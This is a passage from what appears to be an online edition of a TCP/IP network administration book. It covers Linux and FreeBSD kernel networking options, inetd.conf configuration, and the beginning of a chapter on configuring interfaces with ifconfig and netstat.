EISA, VLB, PCI and on board controllers (CONFIG_NET_EISA) [N/y/?]
Pocket and portable adaptors (CONFIG_NET_POCKET) [N/y/?]
Token Ring driver support (CONFIG_TR) [N/y/?]
ARCnet support (CONFIG_ARCNET) [N/y/m/?]
ISDN support (CONFIG_ISDN) [N/y/m/?]

Each configuration option is either enabled by entering a "y" for "yes", or disabled with an "n" for "no". "m" for "module" is an alternative method for enabling some features. Features that are available as dynamically loadable modules list "m" as a possible response. If "m" is selected, the dynamically loadable module is loaded the first time a call is made to the kernel that requires the module. If "y" is selected for a feature, the code that supports that feature is compiled directly into the kernel. The default setting of each option is indicated by the uppercase letter in the square brackets at the end of the option line. For example, [Y,n] indicates an option that is enabled by default. Here, we list each option and its purpose:

CONFIG_FIREWALL

Adds the kernel support necessary to make this system a firewall. Enable this only if the Linux system will be your firewall. The full firewall installation requires additional software outside the kernel. See Chapter 12, Network Security , for a discussion of firewalls. [3]

[3] Building a firewall is beyond the scope of this book. See Building Internet Firewalls, by Brent Chapman and Elizabeth Zwicky (O'Reilly & Associates), for a full treatment of the subject.

CONFIG_NET_ALIAS

Adds the kernel support necessary for address translation. Use this feature only if you have a private internal network number and a different network address for external communications. If you do, internal addresses must be translated to valid external addresses whenever connections are made to the outside world, but it is likely that the translation will be done by your router or firewall. You should select "yes" only in the rare circumstance that the Linux box must do the translation; otherwise, select "no". See Chapter 4, Getting Started , for a discussion of private network numbers and address translation.

CONFIG_INET

Adds TCP/IP networking to the kernel. This is an absolute must!

CONFIG_IP_FORWARD

Determines whether or not the system forwards IP datagrams. This feature must be enabled if the Linux system is an IP router. On Linux host systems, this feature is disabled, which is the default. Select "no" unless this box is a router.

CONFIG_IP_MULTICAST

Adds multicast support to the kernel. Enable this to use multicast applications such as MBONE or Internet Talk Radio. Not sure if you need multicasting? Select "yes". You never know what applications you will add later.

CONFIG_IP_ACCT

Adds code to count the bytes in incoming and outgoing traffic on a per-port/pre-address basis. This could be useful for monitoring system usage, particularly in a commercial environment where usage is billed back to the originator. Additional application software would be needed to make this useful. Select "no" unless you plan to keep close tabs on usage.

CONFIG_INET_PCTCP

Handles an incompatibility problem with older versions of FTP software's PC/TCP. Use if you have clients who run the old PC/TCP software on PCs.

CONFIG_INET_RARP

Adds support for Reverse Address Resolution Protocol (RARP) to the kernel. Enable this if you plan to use RARP on your network. Not sure? Use "m" to select the loadable module that can be used when your system needs it. See Chapter 3, Network Services, for a description of RARP and Chapter 9, Configuring Network Servers for information on configuring a RARP server.

CONFIG_NO_PATH_MTU_DISCOVERY

Removes path MTU discovery code from the kernel. (Beware of the double negative! A "y" [yes] disables MTU discovery and an "n" [no] enables it.) Select "no". Path MTU discovery is a technique that attempts to determine the smallest maximum transmission unit (MTU) along the entire path from a source to a destination. That MTU is then used for subsequent transmissions to avoid datagram fragmentation. See Chapter 1, Overview of TCP/IP, for a description of fragmentation.

CONFIG_IP_NOSR

Determines whether the system accepts source-routed datagrams. Source routing allows the source of the datagram to specify the routers that are used to deliver the packet. Source routes are used to force packets to travel over a specific path; for example, to test the routers in a path or to avoid a high-cost link. However, the problem with source routes is that they are used by spoofers. Spoofers are network intruders who pretend to be a system they are not. For example, a spoofer might pretend to be a computer on one of your enterprise subnets. By using source routing, the spoofer could cause your system to route packets off of your enterprise net that you thought were going to a local system. Enabling CONFIG_IP_NOSR makes it impossible for a spoofer to use source routes against you. Select "yes" unless you are positive that you must use source routes.

CONFIG_SKB_LARGE

Sets whether or not the system will use a large transmission window size. Large windows improve network performance at the cost of additional buffer space. Large windows can be disabled to save memory on systems with less than 16MB of RAM. See Chapter 1 for a description of the TCP transmission window.

CONFIG_NETDEVICES

Adds the general support required for network hardware devices. Always answer "yes", which is the default, to this question. It is required before configuring your Ethernet card.

CONFIG_DUMMY

Enables support for a dummy interface. An IP address can be assigned to the dummy interface even if the system has no network interface hardware. This is sometimes used by people who want to work on TCP/IP configuration even though they don't have a network connection. If you have a network, select "no".

CONFIG_EQUALIZER

Adds support for using multiple serial lines simultaneously. Using this feature, it is possible to have more than one physical PPP link established between the local host and the remote server. The system load balances between the links and attempts to treat them as a single logical network connection. This is a technique for increasing the bandwidth simply by adding additional modems and phone lines. The systems at both ends must support serial line load balancing and they must do so in exactly the same way. This option is used only when both systems are Linux systems connected by multiple serial lines. Otherwise, select "no".

CONFIG_PLIP

Adds Parallel Line IP to the kernel. PLIP is a version of SLIP that runs over the parallel printer port using a special crossover cable. This protocol is intended for transferring data between two co-located PCs, as the cable should be only 1 or 2 meters long. This has very limited applicability.

CONFIG_PPP

Adds the Point-to-Point Protocol (PPP) to the kernel. PPP is the TCP/IP standard protocol for communicating over serial lines. Select "yes" if your system will use a modem connection for TCP/IP. Chapter 6, Configuring the Interface , covers the configuration of this important protocol in detail.

CONFIG_SLIP

Adds the Serial Line IP (SLIP) to the kernel. SLIP is an older TCP/IP protocol once widely used for communicating over serial lines. Chapter 6 covers SLIP configuration in detail.

CONFIG_SLIP_COMPRESSED

Adds support for Van Jacobsen header compression to the kernel. Packet headers add a large amount of overhead when communicating over low-speed serial lines. Header compression greatly reduces this overhead. The systems at both ends of the serial link must use header compression for it to work. Most systems that run SLIP do use header compression.

CONFIG_SLIP_SMART

Adds support for keepalives to the kernel. Some servers drop a connection or timeout a route if the route or connection appears unused. Use is determined by whether or not traffic is coming in over the link. Keepalives are periodic transmissions sent for the explicit purpose of generating traffic on a link so that it is not dropped as an inactive line. The use of keepalives is discouraged. Most networks are busy enough as it is!

CONFIG_SLIP_MODE_SLIP6

Adds support for running SLIP over 6-bit serial lines. Normally a modem and line are configured for 8-bit, no-parity to run SLIP or PPP. This feature allows SLIP to be run in an environment that can not support 8-bit transmissions. This is non-standard and rarely used. The systems at both ends of the link must support this protocol for it to work.

CONFIG_NET_ETHERNET

Adds support for Ethernet hardware to the kernel. You need this for your Ethernet LAN.

The remaining questions allow you to select your network hardware. A large number of Ethernet cards are supported by Linux. In the sample, we selected the 3COM 3C509 card. The make config command also allows us to select ARCnet, token ring, or ISDN interfaces. Some hosts use no specific network hardware. Instead, they run SLIP or PPP over a serial port as their sole network connection. Select the hardware appropriate for your system.

After make config asks questions about the network configuration, it goes on to ask about several other aspects of the system configuration. Next, it tells you to do a make dep; make clean to build the dependencies and clean up the odds and ends. When the makes are complete, you are ready to compile the kernel. The make zImage command builds a compressed kernel and puts it in the /usr/src/linux/i386/boot directory. [4] Simply copy the new kernel file, zImage, to /vmlinuz and you're ready to run.

[4] Most Linux systems use a compressed kernel that is automatically decompressed during the system boot.

Linux's list of network configuration options is as long lists for UNIX kernel configuration. Linux is yin to the Solaris yang. Linux permits the system administrator to configure everything, while Solaris configures everything for the administrator. BSD kernel configuration lies somewhere between these two extremes.

Previous: 5.1 Kernel Configuration | TCP/IP Network Administration | Next: 5.3 The BSD Kernel Configuration File
5.1 Kernel Configuration | Book Index | 5.3 The BSD Kernel Configuration File


[Chapter 5] 5.3 The BSD Kernel Configuration File

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 5.2 Linux Kernel Configuration Chapter 5
Basic Configuration 		Next: 5.4 The Internet Daemon

5.3 The BSD Kernel Configuration File

The BSD UNIX kernel is a C program compiled and installed by make. The config command reads the kernel configuration file and generates the files (including the Makefile) needed to compile and link the kernel. On FreeBSD systems, the kernel configuration file is located in the directory /usr/src/sys/i386/conf. [5]

[5] /usr/src/sys is symbolically linked to /sys. We use /usr/src/sys only as an example. Your system may use another directory.

A large kernel configuration file named GENERIC is delivered with the FreeBSD system. The GENERIC kernel file configures all of the standard devices for your system - including everything necessary for TCP/IP. No modifications are necessary for the GENERIC kernel to run basic TCP/IP services. The reasons for modifying the BSD kernel are the same as those discussed for the Linux kernel: to make a smaller, more efficient kernel, or to add new features.

There is no standard name for a BSD kernel configuration file. When you create a configuration file, choose any name you wish. By convention, BSD kernel configuration filenames use uppercase letters. To create a new configuration, copy GENERIC to the new file and then edit the newly created file. The following creates a new configuration file called FILBERT:

# cd /usr/src/sys/i386/conf
# cp GENERIC FILBERT

If the kernel has been modified on your system, the system administrator will have created a new configuration file in the /usr/src/sys/i386/conf directory. The kernel configuration file contains many configuration commands that cover all aspects of the system configuration. This text discusses only those parameters that directly affect TCP/IP configuration. See the documentation that comes with the FreeBSD system for information about the other configuration commands.

5.3.1 TCP/IP in the BSD Kernel

For a network administrator, it is more important to understand which kernel statements are necessary to configure TCP/IP than to understand the detailed structure of each statement. Three types of statements are used to configure TCP/IP in the BSD kernel: options, pseudo-device, and device statements.

5.3.1.1 Options

The options statement tells the kernel to compile a software option into the system. The options statement that is most important to TCP/IP is:

options INET                   # basic networking support--mandatory

Every BSD-based system running TCP/IP has an options INET statement in its kernel configuration file. The statement produces a -DINET argument for the C complier, which in turn causes the IP, ICMP, TCP, UDP, and ARP modules to be compiled into the kernel. This single statement incorporates the basic transport and IP datagram services into the system. Never remove this statement from the configuration file.

There are several other options statements in addition to the required INET option. Some of these perform functions identical to features we have already seen in the Linux configuration. A few have no direct parallels in the Linux configuration.

options GATEWAY                # internetwork gateway

The GATEWAY option determines whether the system forwards IP datagrams destined for another computer. When this option is selected, the system forwards datagrams if it has more than one network interface; i.e., the system is assumed to be a gateway. You don't need GATEWAY on a system with a single network interface. Hosts - systems with one network interface - do not forward the packets of other systems, because this would hide configuration problems on other systems on the network. If the other systems are incorrectly delivering datagrams to a host, forwarding the datagrams makes it appear as if they were correctly addressed and makes it difficult to detect the real problem. On occasion, you might even want to force a system that has multiple network interfaces not to forward datagrams by commenting options GATEWAY out of your configuration. This is useful for preventing a multi-homed host (a host with two network interfaces) from acting as a gateway.

options IPFIREWALL             # firewall

The IPFIREWALL option prepares the system to act as a firewall. The full firewall implementation requires application software and other tools. However, certain functions of a firewall, such as address filtering, must be implemented in the kernel. This option requests those kernel-level services. A variant of this option is IPFIREWALL_VERBOSE, which enables the same basic kernel services with enhanced error reporting. The enhanced errors can be useful for detecting intrusions, but they increase the size of the kernel.

options MROUTING               # Multicast routing

The MROUTING option adds multicast routing support to the kernel. A multicast kernel is necessary for the system to be able to interpret multicast addresses and for the system to support multicast applications like MBONE and Internet Talk Radio.

options IPACCT                 # ipaccounting

The IPACCT option adds additional code and counters that keep track of network usage, which is helpful for billing purposes.

options ARP_PROXYALL           # global proxy ARP

The ARP_PROXYALL option turns the system into a proxy ARP server. The Address Resolution Protocol (ARP) is discussed in Chapter 2, Delivering the Data. Proxy ARP is a variant on the standard protocol in which a server answers the ARP request for its clients. Here's how it works. Host A sends out an ARP request for the Ethernet address of host B. The proxy ARP server, C, hears the request and sends an ARP response back to A claiming that C's Ethernet address is the address of host B. A then sends traffic intended for B to C because it uses C's Ethernet address. C is therefore responsible for forwarding the traffic on to B. The proxy ARP server is usually a router and proxy ARP is used as a means of forwarding traffic between systems that cannot use normal routing for that traffic.

In Chapter 2, we saw how a system can act as a proxy ARP server for individual addresses using the publish option on the arp command. The ARP_PROXYALL kernel option creates a server for all addresses; not just for individual addresses configured in the ARP table.

options "TCP_COMPAT_42"        # emulate 4.2BSD TCP bugs

This option prevents connections between 4.2 and FreeBSD systems from hanging by adjusting FreeBSD to ignore mistakes made by 4.2. This parameter also disables UDP checksum calculations. The UDP checksum calculation in BSD 4.2 was incorrect, so when a host receives a UDP packet from a system running 4.2, it causes a checksum error. This parameter tells the system to ignore these errors. In addition, setting this parameter prevents the system from sending TCP Sequence Numbers that are interpreted as negative numbers by 4.2 systems. With this option, the initial sequence number will be set to zero for each connection. Forcing sequence numbers to zero is a potential security problem because it allows an intruder to guess the sequence number and to interject bogus packets into a TCP stream. For this reason, avoid using this parameter unless you must.

5.3.1.2 Pseudo-device

The second statement required by TCP/IP in all BSD configurations is a pseudo-device statement. A pseudo-device is a device driver not directly associated with an actual piece of hardware. The pseudo-device statement creates a header (.h) file that is identified by the pseudo-device name in the kernel directory. For example, the statement shown below creates the file loop.h:

pseudo-device   loop           # loopback network--mandatory

The loop pseudo-device is necessary to create the loopback device (lo0). This device is associated with the loopback address 127.0.0.1; it is defined as a pseudo-device because it is not really a piece of hardware.

Another pseudo-device that is used on many FreeBSD TCP/IP systems is:

pseudo-device   ether          # basic Ethernet support

This statement is necessary to support Ethernet. The ether pseudo-device is required for full support of ARP and other Ethernet specific functions. While it is possible that a system that does not have Ethernet may not require this statement, it is usually configured, and should remain in your kernel configuration.

The pseudo-terminals, or ptys, are other pseudo-devices that are universally configured:

pseudo-device   pty     16     # pseudo-tty's

This statement defines the virtual terminal devices used by remote login services such as rlogin and telnet. Pseudo-terminals are also used by many other applications, such as Emacs, that have no direct connection to TCP/IP networking. The number, 16 in the example, is the number of ptys created by the kernel. The maximum on a FreeBSD system is 64.

Other commonly configured pseudo-devices are those that support SLIP and PPP.

pseudo-device   sl        2    # Serial Line IP

This statement defines the interface for the Serial Line IP protocol. The number, 2 in the example, defines the number of SLIP pseudo-devices created by the kernel. The two devices created here would be addressed as device sl0 and sl1.

pseudo-device   ppp       2    # Point-to-point protocol

The ppp pseudo-device is the interface for the Point-to-Point Protocol. The number, 2 in the example, defines the number of PPP pseudo-devices created by the kernel. The two devices created here would be addressed as device ppp0 and ppp1. Two other pseudo-devices directly related to PPP are shown next.

pseudo-device   sppp           # Generic synchronous PPP
pseudo-device   tun        1   # Tunnel driver(user process ppp)

The sppp statement adds support for synchronous PPP data link-layer protocols. Normally, PPP runs over a dial-up line using an asynchronous link protocol. Asynchronous modems are the common modems all of us have on our home computers. Synchronous modems and synchronous link protocols are used on leased lines.

The tun pseudo-device is a tunnel driver used by user-level PPP software. Tunneling is when a system passes one protocol through another protocol; tun is a FreeBSD feature for doing this over PPP links. The number, 1 in the example, is the number of tunnels that will be supported by this kernel.

The last three pseudo-devices are less frequently used.

pseudo-device   fddi           # Generic FDDI
pseudo-device   bpfilter   4   # Berkeley packet filter
pseudo-device   disc           # Discard device

The fddi statement adds support for the Fiber Digital Data Interface (FDDI) to the kernel. FDDI is a local area network standard for transmitting data at 100M bps over fiber-optic cable.

The bpfilter statement adds the support necessary for capturing packets. Capturing packets is an essential part of protocol analyzers; see Chapter 11, Troubleshooting TCP/IP . When the bpfilter statement is included in the BSD kernel, the Ethernet interface can be placed into "promiscuous mode". [6] An interface in promiscuous mode passes all packets, not just those addressed to the local system, up to the software at the next layer. This feature is useful for a system administrator troubleshooting a network. But it can also be used by intruders to steal passwords and compromise security. Use the bpfilter pseudo-device only if you really need it. The number, 4 in the example, indicates the maximum number of Ethernet interfaces that can be monitored by bpfilter.

[6] This assumes that the Ethernet hardware is capable of functioning in promiscuous mode. Not all Ethernet boards support this feature.

The final network pseudo-device is disc. It discards all data that it receives. This device is used only for testing.

5.3.1.3 Devices

Real hardware devices are defined using the device statement. Every host attached to a TCP/IP network requires some physical hardware for that attachment. The hardware is declared with a device statement in the kernel configuration file. There are many possible network interfaces for TCP/IP, but the most common are Ethernet interfaces.

Table 5.1 lists the Ethernet device drivers available with FreeeBSD 2.1.5.

Table 5.1: Ethernet Cards Supported by FreeBSD
Device | Description
de0 | DEC DC21040 PCI adapter
ed0 | Western Digital SMC 80xx, Novell NE1000/2000, 3COM 3C503
eg0 | 3COM 3C505
el0 | 3COM 3C501
ep0 | 3COM 3C509
fe0 | Fujitsu MB86960A/MB86965A
ie0 | AT&T StarLAN 10 & EN100, 3COM 3C507, N15210
ix0 | Intel EtherExpress 16
le0 | DEC EtherWorks 2 and EtherWorks3
lnc0 | Isolan, Novell NE2100 and NE32-VL
ze0 | IBM/National Semiconductor PCMCIA adapter
zp0 | 3COM Etherlink III PCMICA adapter

A sample device statement shows the general format of the commands used to configure an Ethernet interface in the FreeBSD kernel:

device ed0 at isa? port 0x280 net irq 5 iomem 0xd8000 vector edintr
device de0

Note that the ed0 device statement defines the bus type (isa), the I/O base address (port 0x280), the interrupt number (irq 5) and the memory address (iomem 0xd8000). These values should match the values configured on the adapter card. All of these are standard items for configuring PC hardware. [7] On the other hand, the de0 device statement requires very little configuration because it configures a card attached to the PCI bus. The PCI is an intelligent bus that can determine the configuration directly from the hardware.

[7] See Networking Personal Computers with TCP/IP, by Craig Hunt (O'Reilly & Associates), for details about PC hardware configuration.

Ethernet is not the only TCP/IP network interface supported by FreeBSD. It supports an experimental ISDN interface as well as the DEC FDDI adapter. More widely used than these are the serial line interfaces necessary for SLIP and PPP.

device sio0  at isa? port "IO_COM1" tty irq 4  vector siointr
device sio1  at isa? port "IO_COM2" tty irq 3  vector siointr
device sio2  at isa? port "IO_COM3" tty irq 5  vector siointr
device sio3  at isa? port "IO_COM4" tty irq 9  vector siointr

The four serial interfaces, sio0 through sio3, correspond to the MS-DOS interfaces COM1 to COM4. These are needed for SLIP and PPP. Chapter 6 covers other aspects of configuring PPP and SLIP.

The device statement varies according to the interface being configured. But how do you know which hardware interfaces are installed in your system? Remember that the GENERIC kernel that comes with your FreeBSD system is configured for a large number of devices. A simple way to tell which hardware interfaces are installed in your system is to look at the messages displayed on the console at boot time. These messages show all of the devices, including network devices, that the kernel found during initialization. Look at the output of the dmesg command. It displays a copy of the console messages generated during the last boot.

The options, pseudo-device, and device statements found in the kernel configuration file tell the system to include the TCP/IP hardware and software in the kernel. The statements in your configuration may vary somewhat from those shown in the previous examples. But you have the same basic statements in your kernel configuration file. With these basic statements, FreeBSD UNIX is ready to run TCP/IP.

You will probably never change any of the variables discussed in this section. Like everything else in the kernel configuration file, they usually come correctly configured to run TCP/IP.

Previous: 5.2 Linux Kernel Configuration | TCP/IP Network Administration | Next: 5.4 The Internet Daemon
5.2 Linux Kernel Configuration | Book Index | 5.4 The Internet Daemon


[Chapter 5] 5.4 The Internet Daemon

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 5.3 The BSD Kernel Configuration File Chapter 5
Basic Configuration 		Next: 5.5 Summary

5.4 The Internet Daemon

The kernel configuration brings the basic transport and IP datagram services of TCP/IP into UNIX. But there is much more to the TCP/IP suite than just the basic services. How are these other protocols included in the UNIX configuration?

Some protocols are explicitly started by including them in the boot files. This technique is used, for example, to start the Routing Information Protocol (RIP) and the Domain Name Service (DNS). The daemons that service these protocols, routed and named respectively, are run from a startup file such as /etc/rc.d/rc.inet2 on a Linux system or /etc/init.d/inetsvc and /etc/init.d/inetinit on a Solaris system. [8]

[8] Your system may not use these startup files, but startup files are usually located under the /etc directory and often have names that contain rc or init.

Many other network daemons are not started individually. These daemons are started by a server that listens for network service requests and starts the appropriate daemon to process the request. This server is called the internet daemon.

The internet daemon - inetd (pronounced "i net d") - is started at boot time from an initialization file such as /etc/rc.d/rc.inet2. When it is started, inetd reads its configuration from the /etc/inetd.conf file. This file contains the names of the services that inetd listens for and starts. You can add or delete services by making changes to the inetd.conf file.

An example of a file entry is:

ftp  stream  tcp  nowait  root  /usr/sbin/in.ftpd   in.ftpd

The fields in the inetd.conf entry are, from left to right:

name

The name of a service, as listed in the /etc/services file. In the sample entry, the value in this field is ftp.

type

The type of data delivery service used, also called socket type. The commonly used socket types are:

stream

The stream delivery service provided by TCP; i.e., TCP byte stream.[9]

[9] Here the reference is to TCP/IP sockets and TCP streams - not to AT&T streams I/O or BSD socket I/O.

dgram

The packet (datagram) delivery service provided by UDP

raw

Direct IP datagram service

The sample shows that FTP uses a stream socket.

protocol

This is the name of a protocol, as given in the /etc/protocols file. Its value is usually either "tcp" or "udp." The FTP protocol uses TCP as its transport layer protocol, so the sample entry contains tcp in this field.

wait-status

The value for this field is either "wait" or "nowait." Generally, but not always, datagram type servers require "wait," and stream type servers allow "nowait." If the status is "wait," inetd must wait for the server to release the socket before it begins to listen for more requests on that socket. If the status is "nowait," inetd can immediately begin to listen for more connection requests on the socket. Servers with "nowait" status use sockets other than the connection request socket for processing; i.e., they use dynamically allocated sockets.

uid

The uid is the username under which the server runs. This can be any valid username, but it is normally root. There are two common exceptions. The finger service often runs as the user nobody or daemon for security reasons, and the uucp service is sometimes run as the user uucp to save space in the system's accounting files.

server

This is the full pathname of the server program started by inetd. Because our example is from a Solaris system, the path is /usr/sbin/in.ftpd. On your system the path may be different. It is more efficient for inetd to provide some small services directly than it is for inetd to start separate servers for these functions. For these small services, the value of the server field is the keyword "internal," which means that this service is an internal inetd service.

arguments

These are any command-line arguments that should be passed to the server program when it is invoked. This list always starts with argv[0] (the name of the program being executed). The program's manpage documents the valid command-line arguments for each program. In the example only in.ftpd, the server's name, is provided.

There are a few situations in which you need to modify the inetd.conf file. For example, you may wish to disable a service. The default configuration provides a full array of servers. Not all of them are required on every system, and for security reasons you may want to disable non-essential services on some computers. To disable a service, place a # at the beginning of its entry (which turns the line into a comment) and pass a hang-up signal to the inetd server. When inetd receives a hang-up signal, it re-reads the configuration file and the new configuration takes effect immediately.

You may also need to add new services. We'll see some examples of that in later chapters. Let's look in detail at an example of restoring a service that has been previously disabled. We'll begin by looking at the contents of an /etc/inetd.conf file:

# @(#)inetd.conf 1.17 88/02/07 SMI
ftp     stream  tcp  nowait  root  /usr/sbin/in.ftpd    in.ftpd
telnet  stream  tcp  nowait  root  /usr/sbin/in.telnetd in.telnetd
shell   stream  tcp  nowait  root  /usr/sbin/in.rshd    in.rshd
login   stream  tcp  nowait  root  /usr/sbin/in.rlogind in.rlogind
exec    stream  tcp  nowait  root  /usr/sbin/in.rexecd  in.rexecd
finger  stream  tcp  nowait  root  /usr/sbin/in.fingerd in.fingerd
#tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot
comsat  dgram   udp  wait    root  /usr/sbin/in.comsat  in.comsat
talk    dgram   udp  wait    root  /usr/sbin/in.talkd   in.talkd
name    dgram   udp  wait    root  /usr/sbin/in.tnamed  in.tnamed
daytime stream  tcp  nowait  root    internal
time    stream  tcp  nowait  root    internal
echo    dgram   udp  wait    root    internal
discard dgram   udp  wait    root    internal
time    dgram   udp  wait    root    internal

This part of the file shows several standard TCP/IP services. One of these, tftp, is commented out. The TFTP protocol is a special version of FTP that allows file transfers without username/password verification. Because of this, it is a possible security hole and is often disabled in the inetd.conf file.

As an example of modifying the inetd.conf file, we'll reconfigure the system to provide tftp service, which is sometimes necessary for supporting diskless devices. First, use your favorite editor to remove the comment (#) from the tftp entry in inetd.conf. (The example uses sed, everyone's favorite editor!) Then find out the process ID for inetd and pass it the SIGHUP signal. The following steps show how this is done on peanut:

# cd /etc
# mv inetd.conf inetd.conf.org
# cat inetd.conf.org | sed s/#tftp/tftp/ > inetd.conf
# ps -acx | grep inetd
  144 ?  I     0:12 inetd
# kill -HUP 144

In some situations, you may also need to modify the pathname of a server or the arguments passed to a particular server when it is invoked. For example, look again at the tftp entry. This line contains command-line arguments that are passed to the tftp server when it is started. The -s /tftpboot option addresses the most obvious tftp security hole. It prevents tftp users from retrieving files that are not located in the directory specified after the -s option. If you want to use another directory for tftp, you must change the inetd.conf file. The only command-line arguments passed to servers started by inetd are those defined in the inetd.conf file.

Security is one of the most important reasons for modifying the inetd.conf file. inetd.conf is used to implement access control through the wrapper program tcpd. The wrapper program replaces the server program in the server field of the inetd.conf entry. Then when inetd hears a connection request on the port, it starts tcpd instead of the application server. tcpd can then enforce extra security before it starts the application server. How to use the wrapper program for access control is covered in Chapter 12.

Previous: 5.3 The BSD Kernel Configuration File | TCP/IP Network Administration | Next: 5.5 Summary
5.3 The BSD Kernel Configuration File | Book Index | 5.5 Summary


[Chapter 5] 5.5 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 5.4 The Internet Daemon Chapter 5
Basic Configuration 		Next: 6. Configuring the Interface

5.5 Summary

The basic configuration files, the kernel configuration file, the startup files, and the /etc/inetd.conf file are necessary for installing the TCP/IP software on a UNIX system, but they require little attention from the system administrator. The kernel comes configured to run TCP/IP on most systems. Some systems, such as Solaris, are designed to eliminate kernel configuration. Others, such as Linux, encourage it as a way to produce a more efficient kernel. In either case, the only thing a network administrator needs to be aware of are the kernel configuration commands required for TCP/IP so that they are not accidentally removed from the kernel when it is rebuilt.

inetd starts essential system services. You would reconfigure only to add new services or to improve security. Security can be improved by removing unneeded services or by adding access control.

The kernel configuration defined the network interface. In Chapter 6 we configure it, calling upon the planning we did in Chapter 4.

Previous: 5.4 The Internet Daemon | TCP/IP Network Administration | Next: 6. Configuring the Interface
5.4 The Internet Daemon | Book Index | 6. Configuring the Interface


[Chapter 6] Configuring the Interface

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 5.5 Summary Chapter 6 Next: 6.2 TCP/IP Over a Serial Line

6. Configuring the Interface

Contents:
The ifconfig Command
TCP/IP Over a Serial Line
Installing PPP
Installing SLIP
Summary

When networking protocols work only with a single kind of physical network, there is no need to identify the network interface to the software. The software knows what the interface must be; no configuration issues are left for the administrator. However, one important strength of TCP/IP is its flexible use of different physical networks. This flexibility adds complexity to the system administrator's task, because you must tell TCP/IP which interfaces to use, and you must define the characteristics of each interface.

Because TCP/IP is independent of the underlying physical network, IP addresses are implemented in the network software - not in the network hardware. Unlike Ethernet addresses, which are determined by the Ethernet hardware, the system administrator assigns an IP address to each network interface.

In this chapter, we use the ifconfig (interface configure) command to identify the network interface to TCP/IP and to assign the IP address, subnet mask, and broadcast address to the interface. We also configure a network interface to run Point-to-Point Protocol (PPP), which is the standard Network Access Layer protocol used to run TCP/IP over modem connections. Let's begin with a discussion of ifconfig.

6.1 The ifconfig Command

The ifconfig command sets, or checks, configuration values for network interfaces. Regardless of the vendor or version of UNIX, the ifconfig command will set the IP address, the subnet mask, and the broadcast address for each interface. Its most basic function is assigning the IP address.

Here is the ifconfig command that configures the Ethernet interface on peanut:

# ifconfig le0 172.16.12.2 netmask 255.255.255.0  \
broadcast 172.16.12.255

Many other arguments can be used with the ifconfig command; we discuss several of these later. But a few important arguments provide the basic information required by TCP/IP for every network interface. These are:

interface

The name of the network interface that you want to configure for TCP/IP. In the example above, this is the Ethernet interface le0.

address

The IP address assigned to this interface. Enter the address as either an IP address (in dotted decimal form) or as a hostname. If you use a hostname, place the hostname and its address in the /etc/hosts file. Your system must be able to find the hostname in /etc/hosts because ifconfig usually executes before DNS is running. The example uses the numeric IP address 172.16.12.2 as the address value.

netmask mask

The subnet mask for this interface. Ignore this argument only if you're using the default mask derived from the traditional address class structure. If you are subnetting, use your subnet mask. The subnet mask chosen for our imaginary network is 255.255.255.0, so that is the value assigned to peanut's le0 interface. See Chapters 2 and 4 for information on address masks and subnets.

broadcast address

The broadcast address for the network. Most, but not all, systems default to the standard broadcast address, which is an IP address with all host bits set to 1. In the ifconfig example we explicitly set the broadcast address to 172.16.12.255 to avoid any confusion. Every system on the subnet must agree on the broadcast address.

The network administrator provides the values for the address, subnet mask, and broadcast address. The values in our example are taken directly from the planning sheet we developed in Chapter 4, Getting Started . But the name of the interface, the first argument on every ifconfig command line, must often be determined from the system's documentation.

6.1.1 Determining the Interface Name

In Chapter 5, Basic Configuration , we saw that Ethernet network interfaces come in many varieties, and that different Ethernet cards usually have different interface names. You can usually determine which interface is used on a system from the messages displayed on the console during a boot. On many systems these messages can be examined with the dmesg command. But even with this information, determining the name of the Ethernet interface is not always easy. The following example shows the output of the dmesg command on two different systems:

almond% dmesg | grep le0
le0 at ledma0: SBus slot f 0xc00000 sparc ipl 6
le0 is /iommu@f,e0000000/sbus@f,e0001000/ledma@f,400010/le@f,c00000

acorn> dmesg | grep eth0
eth0: smc8432 (DEC 21041 Tulip) at 0xfc80, 00:00:c0:dd:d4:da, IRQ 10
eth0: enabling 10TP port.

The first dmesg command in the example shows the messages displayed when an le0 Ethernet interface is detected during the boot of a Solaris 2.5.1 system. Nothing about these messages makes it clear that le0 is an Ethernet interface. The second dmesg example, which comes from a PC running Linux, provides more clues. eth0 is a more intuitive Ethernet interface name; and the Linux system displays the Ethernet address (00:00:c0:dd:d4:da) and the make and model (SMC8432) of the network adapter card. If you know what these things mean, it makes guessing the Ethernet interface name simpler.

It is not always easy to determine all available interfaces on your system by looking at the output of dmesg, nor by looking at device statements in the kernel configuration file. These only show you the physical hardware interfaces. In the TCP/IP protocol architecture, the Network Access Layer encompasses all functions that fall below the Internet Layer. This can include all three lower layers of the OSI Reference Model: the Physical Layer, the Data Link Layer, and the Network Layer. IP needs to know the specific interface in the Network Access Layer where packets should be passed for delivery to a particular network. This interface is not limited to a physical hardware driver. It could be a software interface into the network layer of another protocol suite. So what other methods can help you determine the network interfaces available on a system? Use the netstat and the ifconfig commands. For example, to see all network interfaces that are already configured, enter:

% netstat -in

The -i option tells netstat to display the status of all configured network interfaces, and the -n tells netstat to display its output in numeric form. The netstat -in command displays the following fields:

Name

The Interface Name field shows the actual name assigned to the interface. This is the name you give to ifconfig to identify the interface. An asterisk (*) in this field indicates that the interface is not enabled; i.e., the interface is not "up."

Mtu

The Maximum Transmission Unit shows the longest frame (packet) that can be transmitted by this interface without fragmentation. The MTU is displayed in bytes. MTU is discussed in the section "The datagram" in Chapter 1, Overview of TCP/IP.

Net/Dest

The Network/Destination field shows the network or the destination host to which the interface provides access. In our Ethernet examples, this field contains a network address. The network address is derived from the IP address of the interface and the subnet mask. This field contains a host address if the interface is configured for a point-to-point (host-specific) link. The destination address is the address of the remote host at the other end of the point-to-point link. [1] A point-to-point link is a direct connection between two computers. You can create a point-to-point link with the ifconfig command. How this is done is covered later in this chapter.

[1] See the description of the H flag in the section "Routing Table" in Chapter 2, Delivering the Data.

Address

The IP Address field shows the Internet address assigned to this interface.

Ipkts

The Input Packets field shows how many packets this interface has received.

Ierrs

The Input Errors field shows how many damaged packets the interface has received.

Opkts

The Output Packets field shows how many packets were sent out by this interface.

Oerrs

The Output Errors field shows how many of the packets caused an error condition.

Collis

The Collisions field shows how many Ethernet collisions were detected by this interface. Ethernet collisions are a normal condition caused by Ethernet traffic contention. This field is not applicable to non-Ethernet interfaces.

Queue

